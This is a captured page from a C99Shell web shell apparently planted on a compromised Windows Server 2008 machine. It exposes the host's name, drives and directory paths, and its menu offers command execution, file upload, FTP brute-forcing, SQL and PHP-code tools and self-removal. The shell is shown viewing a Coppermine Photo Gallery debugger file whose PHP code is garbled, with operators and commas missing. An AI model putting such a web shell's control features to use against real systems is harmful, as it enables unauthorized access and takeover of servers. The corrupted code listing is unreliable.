!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\cpg1418\include\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     debugger.inc.php (4.92 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2008 Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.18
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/include/debugger.inc.php $
  $Revision: 4380 $
  $Author: gaugau $
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $
**********************************************/

if (!defined('E_STRICT')) {
    
define('E_STRICT'2048); // PHP 5
}

class 
cpg_debugger {
    
// Define variables that store the old error reporting and logging states
    
var $old_handler;
    var 
$old_display_level;
    var 
$old_error_logging;
    var 
$old_error_log;

    var 
$logfile;
    var 
$report;
    var 
$active false;
    var 
$error_level;
    var 
$basepath_len;

    function 
cpg_debugger($log 'debug.log') {
        
$this->logfile $log;
        
$this->basepath_len strlen(dirname(dirname(__FILE__)));
    }

    function 
start() {
        if (!
$this->active) {
            
$this->report false;
            if (
CAN_MOD_INI) {
                
$this->old_display_level ini_set('display_errors'1);
                
$this->old_error_logging ini_set('log_errors'0);
            }
            
$phpver explode('.'phpversion());
            
$phpver "$phpver[0]$phpver[1]";
            if (
$phpver 43) {
                
$this->old_handler set_error_handler('cpg_error_handler');
            } else {
                
$this->old_handler set_error_handler(array(&$this'handler'));
            }
            if (
is_bool($this->old_handler)) {
                
error_reporting(E_ALL E_NOTICE);
            }
//            $this->old_error_log = ini_set('error_log', $this->logfile);
            
$this->error_level E_ALL;
            
$this->active true;
        }
    }

    function 
stop() {
        if (
$this->active) {
            
// restore the previous state
            
if (!is_bool($this->old_handler) && $this->old_handler) {
                
set_error_handler($this->old_handler);
            }
            if (
CAN_MOD_INI) {
                
ini_set('display_errors'$this->old_display_level);
                
ini_set('log_errors'$this->old_error_logging);
//                ini_set('error_log', $this->old_error_log);
            
}
            
$this->active false;
            return 
$this->report;
        }
    }

    
// user defined error handling function
    
function handler($errno$errmsg$filename$linenum$vars='')
    {
        
$filename substr($filename$this->basepath_len);
        
$errortype = array (
//            E_ERROR           => 'Error',
            
E_WARNING         => 'Warning',
//            E_PARSE           => 'Parsing Error',
            
E_NOTICE          => 'Notice',
            
E_CORE_ERROR      => 'Core Error',
            
E_CORE_WARNING    => 'Core Warning',
            
E_COMPILE_ERROR   => 'Compile Error',
            
E_COMPILE_WARNING => 'Compile Warning',
            
E_USER_ERROR      => 'CPG Error',
            
E_USER_WARNING    => 'CPG Warning',
            
E_USER_NOTICE     => 'CPG Notice',
            
E_STRICT          => 'Runtime Notice'
        
);
        
// NOTE: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR and E_COMPILE_WARNING
        // error levels will be handled as per the error_reporting settings.
        
if ($errno == E_USER_ERROR) {
            if (
USER_IS_ADMIN) {
                
$errmsg $errortype[$errno].$filename line $linenum: ".$errmsg;
            } else {
                
$errmsg "A error occured while processing this page.<br />Please report the following error to the owner of this website.<br /><br /><b>$errmsg</b>";
            }
            
cpg_die(CRITICAL_ERROR$errmsg$filename$linenum);
        }

        
// set of errors for which a var trace will be saved
        
if ($errno $this->error_level) {
            
$this->report[$filename][] = $errortype[$errno]." line $linenum: ".$errmsg;
        }

        
// save to the error log
        // error_log($err, 0); //message is sent to PHP's system logger
        // error_log($err, 1, 'operator@example.com'); //message is sent by email to the address in the destination
        // error_log($err, 3, $this->logfile); //message is appended to the file destination.
    
}
}

function 
cpg_error_handler($errno$errmsg$filename$linenum$vars='') {
    global 
$cpgdebugger;
    
$cpgdebugger->handler($errno$errmsg$filename$linenum$vars);
}
define('CAN_MOD_INI', !ereg('ini_set'ini_get('disable_functions')));

error_reporting(E_ALL);
$cpgdebugger =& new cpg_debugger();
$cpgdebugger->start();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--